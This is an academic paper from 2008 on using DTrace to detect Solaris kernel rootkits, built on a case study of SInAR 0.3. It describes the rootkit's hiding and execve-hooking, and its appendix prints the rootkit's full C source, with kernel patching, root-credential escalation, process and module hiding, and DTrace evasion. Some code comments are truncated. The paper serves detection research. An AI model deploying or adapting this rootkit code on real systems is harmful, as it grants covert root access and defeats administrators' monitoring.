Feasibility Analysis of DTrace for Rootkit Detection

Michael Spainhower

Advanced Operating Systems

27 March 2008

Abstract

This paper investigates DTrace's usefulness as a security tool — specifically, how one may use DTrace to discover and analyze the behavior of malicious code. Rootkits are used as the prime example and a case study using the quintessential Solaris 10 rootkit "SInAR 0.3" is presented. Results include an analysis of DTrace's effectiveness, advantages and disadvantages of this approach, and a description of how DTrace may be extended into a host intrusion detection system (HIDS).

Contents

1 Introduction

This section provides a concise introduction to the tools and concepts used in the remainder of the paper.

1.1 Rootkits

Due to the fact that the world of malware is quite large, this paper will focus on rootkits specifically. However, because malware is often composed of an exploit plus a rootkit, the concepts will apply outside the world of rootkit-proper. Stated less nebulously and more verbosely, an attacker generally gains root privilege to a system using an exploited vulnerability, then loads the rootkit to keep access to the system. DTrace is more suitable for discovering a rootkit because a vulnerability does not have behavior, a rootkit does have behavior, and DTrace is designed to observe behavior. Note that the purpose of a rootkit is to keep root (administrator) access to a system and hide this fact from legitimate system users[4].

Rootkits come in two flavors: user-mode and kernel. A user-mode (a.k.a., userland, user) rootkit is generally just a malicious version of a normal program (e.g., bash, ps, ssh) that an attacker places in the stead of the original[6]. While DTrace is capable of observing user processes, the analyst would have to know precisely what process to look in (or look at all running processes) and the program would have to be running. Furthermore, cryptographic filesystem baselines are more appropriate for these and Solaris 10 has some built in executable integrity checking. Thus, the focus will be on kernel level rootkits.

A kernel level rootkit is installed into the system as a loadable kernel module (LKM). One caveat must be noted — LKM is generally associated with UNIX systems, but a Windows device driver should be thought of as an LKM as well. Whatever lexeme is used, the overarching concept is that the rootkit must have access to kernel level memory[4]. This requirement is due to the fact that the rootkit's itinerary is to hook into the kernel and hide its own presence.

1.2 DTrace

Where traditional UNIX utilities used by system administrators to observe operating system (OS) performance and behavior are like a microscope, DTrace is more like a mass spectrometer. The normal paradigm is one utility gives some specific piece of information about the system (e.g., just hard disk statistics). Additionally, the granularity is generally coarse to make the results more useful. DTrace instead provides a generic way to access data of varying granularity across the spectrum of OS components.

This generic approach is facilitated by the fact that DTrace makes use of several thousands of probes[5]. Probes are "created" by system data providers, which are simply loadable kernel modules (LKM) that hook into the kernel for dynamic instrumentation[3]. This is an interesting fact, because as was seen in the previous subsection this sounds very similar to what a rootkit does. There are many details involved with the how and where of DTrace's "instrumentation" (hooks), but the important point is that providers (and thus probes) offer data directly from the kernel.

Cantrill, Shapiro, and Leventhal — the SUN developers that fabricated DTrace — list the important features of Dtrace as dynamic, unified, & arbitrary-context instrumentation, data integrity (the rootkit will put this to the test), arbitrary actions, high-level control language, data aggregation, scalability, and others[3]. These properties are notable because they tend to imply that DTrace *may* just be granular and low-level enough to accurately detect the presence of a rootkit.

1.3 Methods of Analysis

There are a handful of methods traditionally used to protect against and detect rootkits.

Memory can be protected by scanning memory for signatures of known rootkits, monitoring calls to kernel functions that load kernel modules (or device drivers), and/or by detecting kernel hooks by searching for branch instructions targeting memory not in the legitimate range.[4]. DTrace is certainly capable of the latter two methods.

Another general method of rootkit detection is comparing the output of a low level call to the output of a high level system command [4]. DTrace can provide the low level data needed in this case (and perhaps the high level data depending on the provider being used). With the correct low and high level data both available to DTrace, one D script could hypothetically be created to report out on possible rootkit infestation.

It is important to note that there is perhaps some functionality that DTrace provides that allows for more clever detection methods than have been done in the past. While it is interesting to use DTrace in the traditional ways, it may be more interesting (and perhaps useful) to find and exploit a new Dtrace-original method.

2 Rootkit & Installation

The rootkit used in this example is SInAR (SInAR Is not A Rootkit). This is the most well known, publicly available rootkit for Solaris 10.

2.1 Description of SInAR

SInAR 0.3 (SInAR Is not A Rootkit) is a Solaris 8/9/10 rootkit developed by Archim. As a historical note recursive, ironic acronyms are a tradition in the open source and "hacker" community (e.g., GNU's Not UNIX). This is important because these communities, and the documents they publish, tend to be informal and non-academic. Regardless, the next sections will be based on a paper[1] and presentation[2] created by Archim and the source code of the SInAR 0.3 rootkit (available in the appendix and at `http://vulndev.org`.

2.1.1 High Level Overview

A quick review of the SInAR documentation reveals that it possesses the two basic properties for being considered a rootkit-proper; it allows illegitimate root access to the Solaris machine and takes measures to conceal its own existence. The former is done by "catching" calls to a certain (fake) command and instead running a root bash session. The latter is the most interesting and is accomplished by hiding the module (more specifically the fact that the module is loaded), hiding the process, and hiding (presumably) from DTrace[1].

2.1.2 Code Summary

SInAR 0.3 is composed of one C code file and one header file. The header file simply defines i386 instruction set opcodes and needs no discussion. Both files are available in the appendix or at `http://vulndev.org`.

A brief introduction to how Solaris loadable kernel modules (LKM, referred to here as modules) are developed is appropriate. Modules will feature some number of includes (`sys/modctl.h` must be included) from the `sys/` directory in order to interact with kernel elements. The minimum structure of a module is two structs and three functions. The structs provide linkage meta data to facilitate proper loading of the module. The three functions initialize the module (`_init()`), unload the module (`_fini()`), and provide linkage information (`_info()`).

The first thing done in `_init(void)` of `sinar.c`, from lines 237 to 269 and 287 to 291, is hiding the fact that the module is loaded. First, the linkage variables (defined by the aforementioned structs) are zeroed *after* they are used to load the module with a call to `mod_install()`. The pointer to the module is then removed from the linked list of modules in the classic $me.prev.next = me.next$ and $me.next.prev = me.prev$ fashion. Finally, the `mod_nenabled`, `mod_loaded`, and `mod_installed` variables of the modules are set to 0, leading the module controller to believe it is inactive, unloaded, and uninstalled.

Line 294 hooks the `execve` system call and redirects it to the SInAR module's own `sinar_execve` function. This function then checks whether `"./sinarrk"` is being executed. If so it gives the new process kernel credentials (`kcred`) and invokes the shell with a call to `exec_common()`. Note that lines 166, 184, and 185 were added (based on information in Archim's paper[1]) in order to actually invoke texttt/bin/bash.

`sinar_execve` is also where process hiding takes place on lines 197-216. It is prudent to hide the illegitimate root bash shell that is owned by a non-root user! This is accomplished by setting both the process and its parent to appear inactive. Both processes have `pid_prinactive` set equal to 1 for this purpose. There is also commented out code that removes the process from the linked list of processes. This is most likely commented out because the scheduler would no longer be able to run the process if it was not in the list.

The code which helps SInAR hide from DTrace is discussed in the following subsection.

2.1.3 Hiding From DTrace

The code facilitating SInAR to hide from DTrace lays on lines 243, 271-284, and 301-309. The steps discussed earlier to make the module appear unenabled, unloaded, and uninstalled are the key to hiding from DTrace. DTrace interrupts are first disabled for mutual exclusion on line 284. The module properties are then changed. The other key to hiding from DTrace happens on lines 305 and 306 where `dt_cond()` (DTrace Condense) and `dtrace_sync()` are called. These calls update DTrace's active providers information. Since the rootkit module is now inactive (or appears to be to DTrace), it will not be used a providing module. DTrace interrupts are then reenabled.

The important concept in this discussion is that the "hiding" is centered on hiding the module. This method has not gone the next step to hide the module's behavior (assuming it even could). This will hopefully be an exploitable oversight and useful for detecting the rootkit's presence with DTrace.

2.2 Procedure for Installation

There are two ways SInAR can be installed: the contrived way and the surreptitious way. The surreptitious method is how a malicious actor may choose to install the rootkit in the wild. However, since the author of SInAR says that it is for educational purposes, a contrived installation method will be used in this case study. Note that they are functionally the same, but the malicious method is prefaced with a system compromise and infiltration of the rootkit source.

Installing SInAR is fairly straightforward and begins with compilation. It is released with a Makefile that *should* work assuming the Solaris system has `gcc` installed. If this is not the case, `cc` may be used, but the `-Wall` switch will no longer work. The source should compile from anywhere in the filesystem (the include statements will automatically go to `/usr/include`. `make` can then be run (or the compiler and linker/loader can be run manually from command line).

The binary module `sinar` now exists and can be moved anywhere. Running the command `modload sinar` invokes the `_init()` function and loads the module into the kernel. The SInAR code has now hooked `execve` and an attempt to run `./sinarrk` results in a `bash` session with root privilege.

3 Discovery and Analysis

This section discusses how SInAR can be discovered and analyzed using traditional UNIX tools and DTrace. Additionally, how this procedure may be automated is visited.

3.1 Traditional UNIX Tools

The following list describes some of the traditional UNIX/Solaris tools that were used to attempt rootkit discovery. For each item there is a brief discussion which speaks to its effectiveness.

1. **modinfo** As discussed in the previous section, SInAR was specifically developed to hide from `modinfo`. It, in fact, does this successfully. Further, there is no indication that something is awry in the module IDs. When unlinking a module from the linked list, its ID would generally be missing from that list; SInAR fixes this problem to maintain stealth[1].

2. **kstat** Since `kstat` lists open kernel modules (among other things), it is a natural choice to find a rootkit. However, it likely uses the same method to get its data as modinfo. This is evidenced by the fact that `kstat`, like `modinfo`, did not reveal the rootkit.

3. **ps** This utility might traditionally be useful to discover the unauthorized root `bash` shell that is created upon calling of the special key. However, as described in the previous section, SInAR code makes the process appear inactive and thus not reported to utilities such as `ps`.

4. **prstat** Presumably, prstat takes its data from the same source as `ps`, because it did not reveal the `bash` session.

5. **lsof** The publicly released version of SInAR does not do file hiding[1]. Thus, lsof was indeed able to find the file `sinar`, which is what the kernel module was named. The caveat, of course, is that in a realistic situation, the module would not be called sinar. It would certainly be named something innocuous, lessening the usefulness of this utility in discovering it.

3.2 DTrace

The only DTrace method that seemed to reveal the rootkit was hinted at by Archim in his presentation[2]. However, his code did not work, the hint was mentioning the `proc` provider and the `exec_common` function.

The one line dtrace command that was quite useful was:

```
dtrace -n 'proc:::exec-success  trace(curpsinfo->pr_psargs); '
```

This command was discovered when searching for `exec_common`. The source website, which happens to be the solaris internals wiki, is http://-www.solarisinternals.com/wiki/index.php/DTrace_Topics_Quick_Wins.

The provider used is `proc`, which appears to be involved with process creation (and likely termination). This is the case because the probe name used is `exec-success`. The function used in the SInAR code to actually invoke the rogue `bash` shell was `exec_common`, which presumably will fire the `exec-success` probe when called. It turns out this is indeed the case.

The one line dtrace will trace process creation; if any process is created while it is running it is captured. As it turns out, it was successfully able to capture the invocation of the rogue `bash` shell.

3.3 Automation

The idea of automating DTrace is driven by the fact that D code can be placed in scripts and run similar to how a BASH or Perl script could be. It is not uncommon for system administrators to automate their tasks using such scripts; security tasks should be no different. The concept is to use a set of D code files that each look at observe and provide data for one particular OS element. The difficult portion of this puzzle is how such data is correlated and digested. This issue is discussed later in the paper.

4 Results and Findings

This section provides a digestion of DTrace's performance in rootkit observation.

4.1 Analysis of DTrace Effectiveness

In this particular case study, DTrace only revealed the rootkit in one way. However, it is hypothesized that this is not due to limitations in the application. While many probes were attempted, there are far too many for a novice DTrace user to decide precisely which one will work. In the one use case discovered, DTrace did an excellent job and it is likely that if another specific probe were found, it could certainly perform well again.

4.2 Advantages and Disadvantages

The advantages of using DTrace in this way appear to be:

1. **Granularity** It is difficult to get more finely grained information about the OS[5]. Granularity is important because analysis of malicious code may require looking at very specific elements and behaviors of the OS. Inadequate granularity in observation tools is like looking at a fuzzy image in a microscope.

2. **Provider Sourced Data** The providers of data for DTrace are the essentially hooks to the actual system elements being observed[3]. This implies that DTrace is outputting data collected from very low level sources. Low level source data is essential in rootkit detection[4].

3. **Extensibility** Because DTrace providers are kernel modules[3], new providers may be added if specific data needs to be collected. Thus,

specialized providers could be developed specifically for the purpose of rootkit detection with DTrace.

4. **Modularity** DTrace is operated using D script files[3]. This allows for a very modular and reproducible method of rootkit detection. Furthermore, since providers are accessed via an API[3], external applications could hypothetically make use of the same functionality and data.

However, the disadvantages that became clear are:

1. **Provider Integrity** DTrace providers (and the system elements they instrument) can be hooked or hidden from (as evidenced by the SInAR case study). This means that theoretically a very comprehensive rootkit could adjust all data fed into DTrace to hide itself. This is a subject that deserves further study.

2. **Too Much Information** While also an advantage, DTrace can provide an overwhelming amount of data. Extremely focused probes must be used and data filtered to end up with anything a human could analyze. Additionally, a novice or someone new to DTrace probably will not have the skill level to find a rootkit.

4.3 DTrace as a HIDS

The question of whether DTrace *could* be used as a HIDS (or more accurately invoked by a HIDS) has a simple binary answer — yes. This paper has found DTrace of detecting the presence of an actual rootkit (SInAR). However, the more interesting problem is whether DTrace *should* be used as a HIDS.

It would be tempting to write a simple prescription for a litany of D code and bash/python/perl scripts that could collect, filter, correlate, and output the desired data. Such as system could be place into cron job and run weekly, produce a report, and perhaps even help detect a rootkit at some point. However, such as system would be tedious to develop due to the nature of script writing, run slowly since all code is interpreted, and not qualify as an elegant solution.

A better solution is to use the DTrace provider's API to integrate DTrace rootkit finding methodology into a larger HIDS. In this scenario, more data could be correlated. For example, DTrace data could be correlated with results from a log watching utility. Additionally, the code would run faster because it could be code compiled for the native platform. This is solution is actually quite elegant since it centralizes the HIDS into a real application, rather than just gluing together a set of ad hoc scripts.

5 Conclusion & Further Work

There were several distinct contributions to the body of knowledge of this subject throughout the discussion. First and foremost, the thought of using DTrace as a HIDS does not seem to have been formally examined publicly. Also, no one publicly validated the claims Archim made as to the functionality and sneakiness of his SInAR rootkit. This analysis has seemed to confirm that the code and behavior of SInAR are compatible with said claims.

The concept of using DTrace to observe malcode is plausible. Hints were gleaned about the rootkits presence from data obtained from DTrace. This was in a completely contrived environment in which the investigator was also the attacker and knew where to look and what to look for. However, a skilled Solaris analyst who suspected the system may be compromised could potentially follow the same procedures.

The future of may well lay in the cleverness of DTrace D code writers. If a script were written that fired the right probes and correlated the resulting data just right to find suspicious data, rootkits and other unauthorized code may be found in a more automated fashion. Unfortunately, this piece of research could not answer this conclusively and more investigation should be done into the subject. Namely this should consist of (extremely) large amounts of trial and error in D scripts figuring out which of the 30,000+ probes will provide the most useful data.

Research should also continue on how to make rootkits more clever so as to evade DTrace. If it were in fact possible to make a rootkit 100% undetectable, OS security would have to evolve. Defense could no longer be assumed by simply observing at low levels.

A SInAR Code

A.1 sinar.c

```
/*
 * Copyright (c) 2004-2005 by Archim
 * All rights reserved.
 *
 * For License information please see LICENSE (that was unexpected wasn't it!).
 *
 * The header data used is (c) SUN Microsystems,
 * opcodes.h being the exception I'm the only one boring enough to write that.
 *
 * x86 config statement:- September 2005
 * -bash-3.00$ gcc -v
 * Reading specs from /usr/sfw/lib/gcc/i386-pc-solaris2.10/3.4.3/specs
 * Confd with: /builds/sfw10-gate/usr/src/cmd/gcc/gcc-3.4.3/configure --prefix=/usr/sfw
 * -gnu-as --with-ld=/usr/ccs/bin/ld --without-gnu-ld --enable-languages=c,c++ --enable-
 * Thread model: posix
 * gcc version 3.4.3 (csl-sol210-3_4-branch+sol_rpath)
 *
 * Wow, a configuration statement, thanks SUN!!
 * bash-3.00$ gcc -v
 * Reading specs from /usr/sfw/lib/gcc/i386-pc-solaris2.10/3.4.3/specs
 * Configured with: /builds/sfw10-gate/usr/src/cmd/gcc/gcc-3.4.3/configure --prefix=/usr
 * --with-as=/usr/sfw/bin/gas --with-gnu-as --with-ld=/usr/ccs/bin/ld --without-gnu-ld \
 * --enable-languages=c,c++ --enable-shared
 * Thread model: posix
 * gcc version 3.4.3 (csl-sol210-3_4-branch+sol_rpath)
 */

#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
#ifdef __i386
#define _SYSCALL32_IMPL // because we are boring
#endif
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/exec.h>
#include <sys/pathname.h>
#include <sys/uio.h>
#include <sys/thread.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/cred.h>
#include <sys/mdb_modapi.h>
```

```
#include <sys/kobj.h>
#include <sys/cmn_err.h>
#include <sys/mman.h>


// the following we need for our gubbins later on.
/*<SUN Copyright>*/
typedef struct dtrace_provider dtrace_provider_t;
typedef uintptr_t       dtrace_provider_id_t;

typedef uintptr_t dtrace_icookie_t;
extern dtrace_icookie_t dtrace_interrupt_disable(void);
extern void dtrace_interrupt_enable(dtrace_icookie_t);
/*</SUN Copyright>*/

#ifndef __i386 // woohoo!
#include "opcodes.h"
#define DREG 18;
#endif

extern struct mod_ops mod_miscops;


static struct modlmisc modlmisc = {
        &mod_miscops,
        "SInAR - rootkit.com",
};

static struct modlinkage modlinkage = {
        MODREV_1,
        (void *)&modlmisc,
        NULL
};


//stubs
int64_t sinar_execve(char *fname, const char **argp, const char **envp);

int  sin_patch(caddr_t kern_call,caddr_t sin_call)
/*
The moral of the sin_patch story is that you should always print off and highlight heade
forget using vi, destroy a habitat and read the headers over your beverage of choice.

If you do this you may find that, having written a piece of code you weren't going to re
the vendor has already done it for you. Thus easing the decision making process for code

Thanks SUN!
```

```
*/
{
#ifndef __i386 // if SPARC -- or PPC maybe!
  caddr_t target;
  uint32_t * opcode;
  unsigned int ddi_crit_lock;
  unsigned long jdest = sin_call;
  unsigned int tmp_imm2 = 0;
          target = kern_call;

/*
opcode formation courtesy of the SPARV V9 architecture manual. BUY IT!!
(or download it you tight fisted git).
*/
        sethop.op = 0;
           sethop.regd = DREG;
           sethop.op2 = 4;
           sethop.imm = (jdest>>10);
           orop.op = 2;
           orop.regd = DREG;
           orop.op3 = 2;
           orop.rs1 = DREG;
           orop.i_fl = 1;
           tmp_imm2 = jdest & 0x3ff;// see "or" in sparc v9 architecture manual.
           orop.imm = tmp_imm2;
           jop.start = 2;
           jop.regdest = 0; // jmp %reg == jmpl addr,%g0
           jop.op3 = 32 + 16 + 8; // signature for jmpl
           jop.rs1 = DREG; // I wonder what this is!
           jop.i_fl = 1; // to use simm13
           jop.simm13 = 0; // offset of 0;
           nop.nopc = 0x01000000; // this structure is useless, but it's parents love it
           ddi_crit_lock = ddi_enter_critical(); // *ahem* otherwise you could laugh alo
           opcode = (uint32_t *)&sethop;
           hot_patch_kernel_text(target,*opcode,4); // you have to love undocumented fur
        // yes I know it's sloppy but hell, I never said I could code.
        target = target + 4;
           opcode = (uint32_t *)&orop;
           hot_patch_kernel_text(target,*opcode,4);
           target = target + 4;
           opcode = (uint32_t *)&jop;
           hot_patch_kernel_text(target,*opcode,4);
           target = target + 4;
           opcode = (uint32_t *)&nop;
           hot_patch_kernel_text(target,*opcode,4);
           ddi_exit_critical(ddi_crit_lock);// because not doing so would be funnier.
 return 0;
```

```
}
#endif

#ifdef __i386
// you know, I saw someone had ripped a large portion of my code and reused it the other
// that sucks.
// people are so unoriginal, especially when they don't change variable names.
short x = 0;
char jmpl_x86[7] = "\xb8\x00\x00\x00\x00\xff\xe0";
// aren't they .gov.ar....
*(long *)&jmpl_x86[1] = (long)sin_call;

for(x=0;x<7;x++)
hot_patch_kernel_text(kern_call+ x,jmpl_x86[x],1);


return 0;
}
#endif


/*
Change the key as appropriate.
*/

#define RK_EXEC_KEY "./sinarrk"
#define RK_EXEC_KEY_LEN 9
#define RK_EXEC_SHELL "/bin/bash"

int64_t sinar_execve(char *fname, const char **argp, const char **envp)
{

  int is_gone = 0;
  int error;

pathname_t sinar_pn;


pn_get((char *)fname, UIO_USERSPACE, &sinar_pn);

if(strncmp(RK_EXEC_KEY,sinar_pn.pn_path,RK_EXEC_KEY_LEN) == 0)
  {
        is_gone = 1;
// give ourselves kernel creds. "yeah man he got kcred" *ahem*
        curproc->p_cred = crdup(kcred);
// populate fname with our required shell to execute
        ddi_copyout(RK_EXEC_SHELL,fname,RK_EXEC_KEY_LEN,0);
```

```
  }
        error = exec_common(fname, argp, envp);

if(is_gone)
          {
/*
this hides our process (well, sets us as not worthy of attention..)
Do you think this will make the parent listen to it's child in future?

As a seperate thought, can an inactive parent listen to an inactive child?
*/
        curproc->p_pidp->pid_prinactive = 1;
        is_gone = 0;
          }

if(curproc->p_parent)
{
        if(curproc->p_parent->p_pidp->pid_prinactive)
        {
                curproc->p_pidp->pid_prinactive = 1;
        }

}

/*
// "Danger WIll Robinson, Danger Will Robinson"
if(curproc->p_prev)
     curproc->p_prev->p_next = curproc->p_next;

if(curproc->p_next)
     curproc->p_next->p_prev = curproc->p_prev;
// go on, uncomment this block. You understand these things. What could go wrong?
*/

if(error)
{
        return set_errno(error);
}
        else
{
        return 0;
}

}
```

```
int _init(void)
{

extern void dtrace_sync(void);
struct modctl *modptr,*modme;
modptr = &modules; // head of the family always get's pointed at, it's a real burden I i
dtrace_icookie_t modcookie;
int * lmid_ptr;
char is10 = 0;
dtrace_provider_id_t * fbtptr = 0;
int (*dt_cond)(dtrace_provider_id_t) = 0; // we'll be wanting this later to remove the D
int i = 0;

        if ((i = mod_install(&modlinkage)) != 0)
          {
                  cmn_err(CE_NOTE,"Could not install SInAR.\n");
          }
        else
          {
            cmn_err(CE_NOTE,"SInAR installed.");
          }

        // now we blank out modlinkage because otherwise it's a wh0re and can be used ag
               bzero(&modlinkage,sizeof(struct modlinkage));
        //same goes for modlmisc
        bzero(&modlmisc,sizeof(struct modlmisc));

        lmid_ptr = kobj_getsymvalue("last_module_id",0); // duh!

        modme = modptr->mod_prev;

// now you see me.

        modptr->mod_prev->mod_prev->mod_next = modptr;
        modptr->mod_prev = modptr->mod_prev->mod_prev;

        *lmid_ptr = *lmid_ptr - 1;

        dt_cond = kobj_getsymvalue("dtrace_condense",0);
        if(dt_cond) // if we are solaris 10, or a freaky solaris 9 with DTrace.
          {
                fbtptr = modgetsymvalue("fbt_id", 0);
// if we aren't a solaris 10 box, or don't have DTrace there is no point looking for fbt
          if(!fbtptr)
            {
                 cmn_err(CE_NOTE,"Fbt provider not available,\
                 check module fbt is loaded.[try dtrace -l to prompt loading if all else
```

```
                return -1;
            }is10 = 1;}
// remove "non active" modules from FBT (which holds module syms).
        if(is10)
                modcookie = dtrace_interrupt_disable(); // well if it isn't Solaris 10 t


        modme->mod_nenabled = 0; // we ofcourse don't want to be active .. we don't exis
        modme->mod_loaded = 0; // no we aren't loaded, definatly not... honest.
        modme->mod_installed = 0; //  I'm an inactive, unloaded and uninstalled module g
        modme->mod_loadcnt = 0;
        modme->mod_gencount = 0;


        sin_patch((caddr_t)sysent[SYS_execve].sy_callc,(caddr_t)&sinar_execve);
/*
OSec release .. removed syscall overwrite
*/
        kobj_sync();
// remove symbols from the kernel by re-reading 'modules list for active modules, obviou

        if(is10)
           {
                  cmn_err(CE_NOTE,"SInAR Unregistering from DTrace FBT provider\n");
                // what, another log message? really? wow!
                  dt_cond(*fbtptr);
                  dtrace_sync(); // just for our own good
                  //now you don't
                  dtrace_interrupt_enable(modcookie);
           }

 return 0;
}


int _info(struct modinfo *modinfop)
{
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int i;

i = mod_remove(&modlinkage);
        return i;
}
```

A.2 opcodes.h

```
/*
 * Copyright (c) 2004 by Archim
 * All rights reserved.
 *
 * For License information please see LICENSE (that was unexpected wasn't it!).
 *
 *
 */

#ifndef __i386
struct sethi_opcode
{
  unsigned op:2;
  unsigned regd:5;
  unsigned op2:3;
  unsigned imm:22;
};

typedef struct sethi_opcode sethi_t;

struct or_opcode
{

  unsigned op:2;
  unsigned regd:5;
  unsigned op3:6;
  unsigned rs1:5;
  unsigned i_fl:1;
  unsigned imm:13;

};

typedef struct or_opcode or_t;



struct nop_opcode
{
  unsigned nopc:32;
};

typedef struct nop_opcode nop_t;

struct jmp_opcode {
  unsigned start:2;
  unsigned regdest:5;
```

```
  unsigned op3:6;
  unsigned rs1:5;
  unsigned i_fl:1;
  unsigned simm13:13;
};

typedef struct jmp_opcode jmp_t;

  sethi_t sethop;
  or_t orop;
  jmp_t jop;
  nop_t nop;

#endif
```

References

[1] Archim. Sun — bloody daft solaris mechanisms (paper). PDF, 2005. Available: ouah.org/67-sun-bloody-daft-solaris-mechanisms-paper.pdf.

[2] Archim. Sun — bloody daft solaris mechanisms (slides). PDF, 2005. Available: www.ccc.de/congress/2004/fahrplan/files/66-sun-bloody-daft-solaris-mechanisms-slides.pdf.

[3] Cantrill, B. M., Shapiro, M. W., and Leventhal, A. H. Dynamic instrumentation of production systems. In *ATEC '04: Proceedings of the annual conference on USENIX Annual Technical Conference* (Berkeley, CA, USA, 2004), USENIX Association, pp. 2–2.

[4] Hoglund, G., and Butler, J. *Rootkits: Subverting the Windows Kernel*. Addison-Wesley Professional, 2006.

[5] McDougall, R., Mauro, J., and Gregg, B. *Solaris(TM) Performance and Tools: DTrace and MDB Techniques for Solaris 10 and OpenSolaris (Solaris Series)*. Prentice Hall PTR, Upper Saddle River, NJ, USA, 2006.

[6] Szor, P. *The Art of Computer Virus Research and Defense*. Addison-Wesley Professional, 2005.